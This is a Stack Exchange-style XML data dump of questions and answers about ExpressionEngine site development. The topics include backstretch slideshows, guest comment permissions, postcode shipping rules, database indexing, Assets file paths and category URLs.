  <row Id="6633" PostTypeId="1" AcceptedAnswerId="6637" CreationDate="2013-02-22T12:31:30.723" Score="1" ViewCount="336" Body="&lt;p&gt;I have a site where the client wants to add images as a fullscreen slideshow behind the site container. I've used backstretch.js for this and can get it to show up a single image by using straight channel entries but this is no good. I've created a channel just for the images where each entry is a single image file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;background_images&quot; dynamic=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; status=&quot;open&quot;}&#xA;&#xA;  &amp;lt;script&amp;gt;&#xA;        $(&quot;#stretch&quot;).backstretch([&#xA;        &quot;{background_images}&quot;,&#xA;         ], {duration: 5000, fade: 750});&#xA;  &amp;lt;/script&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then tried to set up an embed, where I used this code on my embed page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;background_images&quot; dynamic=&quot;no&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; status=&quot;open&quot; backspace=&quot;1&quot;}&quot;{background_images}&quot;,{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and called in into my template like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;$(&quot;#stretch&quot;).backstretch([&#xA;    {embed=&quot;en/background_imgs&quot;}&#xA; ], {duration: 5000, fade: 500});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But using this method, I get a console error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Type Issue: 'undefined' is not a function (evaluating '$(&quot;#stretch&quot;).backstretch')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I going about this the wrong way? Has anyone implemented this successfully in the past that could give me a little help.&lt;/p&gt;&#xA;" OwnerUserId="628" LastEditorUserId="55" LastEditDate="2013-02-22T13:01:53.343" LastActivityDate="2013-02-22T13:11:41.010" Title="Using Backstretch to generate a slideshow" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6634" PostTypeId="2" ParentId="6632" CreationDate="2013-02-22T12:31:40.590" Score="3" Body="&lt;p&gt;Any user is automatically a member of the default &quot;guest&quot; member group. To allow them to comment, just edit the &quot;guest&quot; member group preferences&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Control panel, members &gt; member groups&lt;/li&gt;&#xA;&lt;li&gt;look for comment posting privileges and set it to &quot;yes&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Have you tried that and it does not work?&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-02-22T12:49:01.170" LastActivityDate="2013-02-22T12:49:01.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6635" PostTypeId="2" ParentId="6632" CreationDate="2013-02-22T12:37:04.597" Score="1" Body="&lt;p&gt;As well as checking the guest member group permissions as Jerome outlined, in the channel preferences, under comment posting preferences, check that 'Require membership in order to post comments?' is set to no.&lt;/p&gt;&#xA;" OwnerUserId="191" LastActivityDate="2013-02-22T12:37:04.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6636" PostTypeId="1" CreationDate="2013-02-22T12:41:54.510" Score="3" ViewCount="188" Body="&lt;p&gt;I'm in the process of setting up an e-commerce site using Exp:resso Store version 1.6.3. My client wants to be able to add surcharges to particular UK postcode areas based on the fact that they are hard to reach regions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed this would be easy using the Standard Shipping Plugin, by adding different rules for the first part of each postcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if we wanted to surcharge all customers with postcodes starting 'AB', I would simply add a rule to match postcode 'AB' and apply a charge to that. I'm not sure how to match this though as if I then complete a test order to the checkout confirmation page with postcode 'AB34 3DP', this rule is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, I would not want to apply this rule if the customer postcode was, for example 'TN4 3AB'. Is there a method to add wildcards to the postcode shipping rules? I could not find any information in the Exp:resso Store docs.&lt;/p&gt;&#xA;" OwnerUserId="1019" LastActivityDate="2013-06-20T15:44:49.223" Title="Matching UK postcodes to shipping rules" Tags="|expresso-store|ecommerce|shipping|" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6637" PostTypeId="2" ParentId="6633" CreationDate="2013-02-22T13:11:41.010" Score="3" Body="&lt;p&gt;A couple of things here. The best way to see what's actually happening is to look at the source code of your page - that way you can see exactly what the final output of your code is and spot the errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, when adding inline javascript to an EE template, you need to break serialized arrays (arguments inside curly braces) up over newlines, lest EE try to interpret them as EE variables (which use the same syntax).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, your code will leave a trailing comma in the images array, which can trigger JS errors. The &lt;code&gt;backspace&lt;/code&gt; parameter can help with that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd use this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    $(&quot;#stretch&quot;).backstretch(&#xA;        [{exp:channel:entries channel=&quot;background_images&quot; dynamic=&quot;no&quot; status=&quot;open&quot; backspace=&quot;1&quot; disable=&quot;member_data|pagination|categories&quot;}&quot;{background_images}&quot;,{/exp:channel:entries}], &#xA;        {&#xA;            duration: 5000,&#xA;            fade: 750&#xA;        }&#xA;    );&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-22T13:11:41.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6638" PostTypeId="2" ParentId="6623" CreationDate="2013-02-22T13:19:06.290" Score="4" Body="&lt;p&gt;Chances are you're missing a required field in that channel, or submitting some incorrect data. To find out why your entry is not being submitted, add this within your &quot;if submit_new_entry is false&quot; conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;print($this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;errors); exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-22T13:19:06.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6639" PostTypeId="2" ParentId="6620" CreationDate="2013-02-22T13:24:28.877" Score="1" Body="&lt;p&gt;When within a SC form, GWcode Categories will not be aware of which categories are currently selected for the entry. You'll have to use Safecracker's &lt;code&gt;{categories}&lt;/code&gt; loop.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-22T13:24:28.877" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6640" PostTypeId="1" CreationDate="2013-02-22T13:24:46.457" Score="2" ViewCount="150" Body="&lt;p&gt;I edit an old, large EE1 site with lots of weblog articles, some containing flash content. We want to change that content into HTML5/css/java but that requires specific code to get into the head section on a post by post basis and I can't figure out how to do it. Is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic template has an embedded 'head' section and a channel entry loop with some custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see how to get the 'title' into the head by passing it through the 'embed' tag. I tried to add a second embed that referred to a custom field from the channel but the content doesn't get passed, only the name of the custom field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;modules&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; limit=&quot;1&quot; disable=&quot;member_data|trackbacks|pagination|categories|custom_fields&quot;} embed=&quot;site_embeds/html_head&quot; my_page_title=&quot;{title}&quot; special_head_code=&quot;{special_head}&quot;}{/exp:weblog:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me find a solution?&lt;/p&gt;&#xA;" OwnerUserId="1054" LastEditorUserId="1054" LastEditDate="2013-02-22T14:03:17.407" LastActivityDate="2013-02-27T01:39:16.670" Title="Getting specific code into the &lt;head&gt; section from within channel entries" Tags="|embeds|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6642" PostTypeId="1" AcceptedAnswerId="6784" CreationDate="2013-02-22T14:54:02.400" Score="11" ViewCount="1629" Body="&lt;p&gt;I noticed that there a handful of queries that ExpressionEngine runs that don't use any database indexes. An example is the query &lt;code&gt;SELECT DISTINCT ee.* FROM exp_extensions ee WHERE enabled = 'y' ORDER BY hook, priority ASC, class&lt;/code&gt; which gets run on every page. Doing a MySQL &lt;code&gt;EXPLAIN&lt;/code&gt; on this shows that it could benefit from a database index. However, since the number of extensions installed is usually fairly small, adding an index for this query might not be a huge win.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that the official stance is to not add indexes because it could conflict with future updates. On the other hand, from a practical standpoint, I have to balance resource usage and page rendering speed against the official stance; also, I'm willing and able to removing indexes before upgrading to a newer version of ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a set of queries that are prime candidates for database indexes that would reduce load on the MySQL server? Is there any best practice on this?&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-01-21T06:38:03.577" Title="Query optimization and database indexes" Tags="|database|query|optimization|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6643" PostTypeId="2" ParentId="6632" CreationDate="2013-02-22T15:00:32.610" Score="1" Body="&lt;p&gt;It wasn't the comments module that was hiding the form, it was the channel_ratings add on i was using with it. Adding the parameter rating:allow_guests=&quot;yes&quot; to the code above sorted my issue. Code repeated below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks to GDmac for helping me see the light! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;shop_products&quot; entry_id=&quot;{entry_id}&quot; rating:enabled=&quot;yes&quot; rating:allow_guests=&quot;yes&quot;}&#xA;    {if rating:already_rated} You have already rated this entry{/if}&#xA;&#xA;    {if rating:not_rated}&#xA;        &amp;lt;label&amp;gt;Rating&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select name=&quot;rating[default]&quot;&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;3&quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;4&quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;5&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&amp;lt;br /&amp;gt;        &#xA;    {/if}&#xA;&#xA;    {if logged_out}&#xA;        &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;{name}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;        &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;{email}&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;label for=&quot;comment&quot;&amp;gt;Review:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;    &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit Comment&quot;&amp;gt;&#xA;&#xA;{/exp:comment:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="785" LastActivityDate="2013-02-22T15:00:32.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6644" PostTypeId="2" ParentId="6640" CreationDate="2013-02-22T16:36:44.640" Score="1" Body="&lt;p&gt;You have to remove &quot;custom_fields&quot; from your &lt;code&gt;disable=&quot;member_data|trackbacks|pagination|categories|custom_fields&quot;&lt;/code&gt; parameter. This is telling EE not to process custom fields which is why the custom field name is printing out and not the data you are expecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you remove this, your code will work as expected.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-02-27T01:39:16.670" LastActivityDate="2013-02-27T01:39:16.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6645" PostTypeId="2" ParentId="6611" CreationDate="2013-02-22T16:50:51.787" Score="2" Body="&lt;p&gt;It was an issue with url paths that weren't changed in the migration. Rookie error but solved.&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2013-02-22T16:50:51.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6646" PostTypeId="1" AcceptedAnswerId="6714" CreationDate="2013-02-22T16:56:45.643" Score="1" ViewCount="509" Body="&lt;p&gt;Doing some testing on a local version of a website, trying to implement an Assets upload field in a Matrix column. When in the publish form and I click the &quot;Add Files&quot; button the modal pops up but it is blank. I do get a console error in Chrome dev tools...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=========================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XMLHttpRequest cannot load &lt;a href=&quot;http://condley-intranet.dev/&quot; rel=&quot;nofollow&quot;&gt;http://condley-intranet.dev/&lt;/a&gt;. Origin &lt;a href=&quot;http://condley-banking.dev&quot; rel=&quot;nofollow&quot;&gt;http://condley-banking.dev&lt;/a&gt; is not allowed by Access-Control-Allow-Origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncaught TypeError: Cannot set property 'innerHTML' of undefined assets.min.js:8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;qq.FileUploader assets.min.js:8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets.FileManager.Garnish.Base.extend.init assets.min.js:8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Garnish.Base.a.extend.constructor garnish-0.1.min.js:18&lt;/p&gt;&#xA;&#xA;&lt;p&gt;h.constructor garnish-0.1.min.js:14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;h.constructor garnish-0.1.min.js:14&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(anonymous function) assets.min.js:8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d jquery.js:39&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b.extend.each jquery.js:37&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b.fn.b.each jquery.js:30&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c.ajax.complete jquery.js:161&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p jquery.js:43&lt;/p&gt;&#xA;&#xA;&lt;p&gt;l.fireWith jquery.js:44&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d jquery.js:167&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b jquery.js:178&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=========================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Assets/Matrix combo on a MSM site. The &quot;main&quot; site is &quot;condley-banking.dev&quot;. The MSM site is &quot;condley-intranet.dev&quot;. I'm logged in to the CP through the &quot;condley-banking.dev&quot; site and then selected the MSM site from the CP dropdown. I thought this info might help after reading the error, but it's al lover my head. Thanks for any information!&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-02-25T16:10:41.890" Title="Assets modal window in publish form is blank when I click Add Files" Tags="|assets|matrix|modal|" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="6647" PostTypeId="2" ParentId="6627" CreationDate="2013-02-22T16:58:50.813" Score="2" Body="&lt;p&gt;I looked at line 739 in Loader.php. It's &lt;code&gt;$buffer = ob_get_contents();&lt;/code&gt;. Here is the code right around it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;log_message('debug', 'File loaded: '.$_ci_path);&#xA;&#xA;// Return the file data if requested&#xA;if ($_ci_return === TRUE)&#xA;{&#xA;    $buffer = ob_get_contents();&#xA;    @ob_end_clean();&#xA;    return $buffer;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like a debug message is being logged right before this line which will help you track this backwards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's details on &lt;a href=&quot;http://ellislab.com/forums/viewthread/191514/#903988&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;enabling logging in EE config.php&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also add an additional debug message inside the conditional. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;log_message('debug', 'Buffer data: '.$buffer);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-22T16:58:50.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6648" PostTypeId="2" ParentId="6642" CreationDate="2013-02-22T17:08:18.353" Score="8" Body="&lt;p&gt;I haven't heard of any best practices around this. I think it depends on the user, you. If you're looking for some best practices to improve speed, you may want to start with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Ellis Lab's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/handling_extreme_traffic.html&quot;&gt;Handling Extreme Traffic&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Solspace's &lt;a href=&quot;http://www.solspace.com/downloads/PerformanceGuidelines.pdf&quot;&gt;Website Performance Guidelines&lt;/a&gt; (PDF)&lt;/li&gt;&#xA;&lt;li&gt;Matt Perry's &lt;a href=&quot;http://mattoperry.files.wordpress.com/2012/09/ee-scaling.pdf&quot;&gt;How to Make EE Faster&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;.Net's &lt;a href=&quot;http://www.netmagazine.com/tutorials/optimise-your-expressionengine-site&quot;&gt;Optimise your ExpressionEngine site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, I've heard of developers adding indexing for queries that are frequently used, that can benefit from them. I'm not certain if they drop the indexing before upgrades.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-22T17:08:18.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6649" PostTypeId="2" ParentId="6333" CreationDate="2013-02-22T17:10:11.007" Score="2" Body="&lt;p&gt;Here is an example of how to fix the issue using jQueryUI Tabs. It could work with any other tab library, you just need to change the callback and the conditional. Basically you just need to get access to the Gmap instance in question and resize the map, and then re-center it. It's really simple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {&#xA;        $('.tabs').tabs({&#xA;&#xA;        show: function(event, ui) {&#xA;            if(ui.panel.id == 'map') {&#xA;                var instance = Gmap.instances[0];&#xA;&#xA;                google.maps.event.trigger(instance.map, 'resize');&#xA;                instance.map.setCenter(instance.center);&#xA;            }&#xA;        }&#xA;&#xA;    }); &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-02-22T17:10:11.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6650" PostTypeId="2" ParentId="6646" CreationDate="2013-02-22T17:18:31.697" Score="3" Body="&lt;p&gt;Your JS forms look like they're attempting a cross-domain communication:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;HTMLHttpRequest cannot load &lt;a href=&quot;http://condley-intranet.dev/&quot; rel=&quot;nofollow&quot;&gt;http://condley-intranet.dev/&lt;/a&gt;. Origin &lt;a href=&quot;http://condley-banking.dev&quot; rel=&quot;nofollow&quot;&gt;http://condley-banking.dev&lt;/a&gt; is not allowed by Access-Control-Allow-Origin.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are you able to locate where you're crossing domains and make them consistent? I'd start with your General Config and/or /system/expressionengine/config/  &lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-22T17:18:31.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6651" PostTypeId="1" CreationDate="2013-02-22T17:25:36.557" Score="1" ViewCount="848" Body="&lt;p&gt;I have an assets field type in a matrix cell. To place this on my page I am using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{cell_1}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which gives the full url&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://www.mysite.com/images/image.jpeg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That is great but is going to ping up as an insecure element on https pages. How would I get this on my page with a relative path to avoid that issue? I know I can use filename but hardcoding the path in the template isnt really an option.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2013-02-23T20:22:29.250" Title="Assets and relative file paths" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6652" PostTypeId="2" ParentId="6651" CreationDate="2013-02-22T17:34:32.053" Score="2" Body="&lt;p&gt;Have you tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{assets_cell}&#xA;&amp;lt;img src=&quot;/images/{filename}&quot; /&amp;gt;&#xA;{/assets_cell}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That'll need to be in the channel entries tag, in your Matrix tag. The full list of variables is under &quot;Primary Tag Pair&quot; in our &lt;a href=&quot;http://pixelandtonic.com/assets/docs/templates&quot; rel=&quot;nofollow&quot;&gt;Assets docs&lt;/a&gt;.  So you can build your paths &quot;a la carte&quot; if needed. :)&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-22T17:34:32.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6653" PostTypeId="1" AcceptedAnswerId="6654" CreationDate="2013-02-22T19:09:05.197" Score="0" ViewCount="357" Body="&lt;p&gt;I have multiple parent categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kids Stuff&#xA;Dining Out&#xA;Things to Do&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of those parents have multiple children:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kids Stuff -&gt; Schools, Camps, Parties&#xA;Dining Out -&gt; Restaurants, Catering&#xA;Things to Do -&gt; Day Trips, Weekend Getaways, Activities&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entries can be in more than one Parent as well as more than one Child.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the individual entry page, I need to show the categories the entry is assigned and the link to the (parent or child) category page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PARENTS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/kids-stuff/&#xA;/dining-out/&#xA;/things-to-do/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parents work fine.  It's the Children that are a problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the Child Category URL's to show the Parent name (each parent category has a different template), as well as the child name like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CHILDREN: &#xA;/kids-stuff/schools/&#xA;/kids-stuff/camps/&#xA;/kids-stuff/parties/&#xA;/dining-out/restaurants/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead EE is giving them the following URL's&#xA;/schools/&#xA;/camps/&#xA;/parties/&#xA;/restaurants/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help or insight you can offer.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2013-02-22T19:56:32.057" Title="Automatically assign parent category to child category url's" Tags="|categories|child-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6654" PostTypeId="2" ParentId="6653" CreationDate="2013-02-22T19:56:32.057" Score="4" Body="&lt;p&gt;Yup, the solution here is to use the &lt;a href=&quot;http://devot-ee.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories plugin&lt;/a&gt; rather than the standard EE Channel Categories tag, and &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; instead of relying on EE's dynamic category methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to output your categories list (as a simple example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories channel=&quot;my_channel&quot;}&#xA;    &amp;lt;a href=&quot;/filter/{complete_path}&quot;&amp;gt;{cat_name}&amp;lt;/a&amp;gt;&#xA;{exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output a nested list of categories, and each will link to a URL containing every &lt;code&gt;category_url_title&lt;/code&gt; all the way up the category tree for that particular category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, in your &lt;strong&gt;filter/index&lt;/strong&gt; template (again, just an example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;my_channel&quot; category=&quot;{segment_category_ids}&quot;}&#xA;    ... list your stuff ...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will show only entries assigned to &lt;em&gt;all&lt;/em&gt; of the categories listed in the URL.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-22T19:56:32.057" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6655" PostTypeId="1" CreationDate="2013-02-22T20:00:10.697" Score="4" ViewCount="146" Body="&lt;p&gt;I am using a module (AdMan) that generates an ACTION ID url before routing to a new page. I am finding that Google is indexing these ACT urls and even promoting them above the actual page they link to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I block search engines from indexing ACT urls?&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="7705" LastEditDate="2018-10-11T12:54:14.353" LastActivityDate="2018-10-11T12:54:14.353" Title="ACT ids are getting indexed by search engines. How can I prevent that?" Tags="|action|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6656" PostTypeId="1" AcceptedAnswerId="6658" CreationDate="2013-02-22T20:17:27.780" Score="1" ViewCount="325" Body="&lt;p&gt;I have a file upload directory above root in a folder called &quot;secure_files&quot;. I can successfully upload files to this directory from within my Assets field. The file upload directory is setup like below...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server Path to Upload Directory: /Users/mlohrman/Sites/secure_files/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL of Upload Directory: ../&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's my template code...&quot;file_upload_matrix&quot; is my matrix field. &quot;files&quot; is the column with the Assets field in it. This successfully displays the files on the front end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {file_upload_matrix}&#xA;    {filename}&#xA;    {files}&#xA;    &amp;lt;a href=&quot;{url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    {/files}&#xA;    {/file_upload_matrix}       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The URL on the front-end is &quot;../file.pdf&quot;. So when I'm on this page &quot;&lt;a href=&quot;http://site.com/departments/marketing/files/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/departments/marketing/files/&lt;/a&gt;&quot; it's trying to find the file at &quot;&lt;a href=&quot;http://site.com/departments/file.pdf&quot; rel=&quot;nofollow&quot;&gt;http://site.com/departments/file.pdf&lt;/a&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've done something similar using DevDemon Channel Files and had the same file upload settings and that plugin has a built in obfuscated links feature. I'm not sure what's happening behind the scenes, but setting the file URL to obfuscated would allow a person on the front-end to download that file that was sitting in the folder above root. I know Assets doesn't have the obfuscated link feature, but I thought I could try Link Vault plugin to do that for me. But I'm not positive the URL is correct now to pass to Link Vault. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-02-22T20:58:05.663" Title="Front-end URL for Assets file download that is above root, should this work?" Tags="|assets|matrix|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
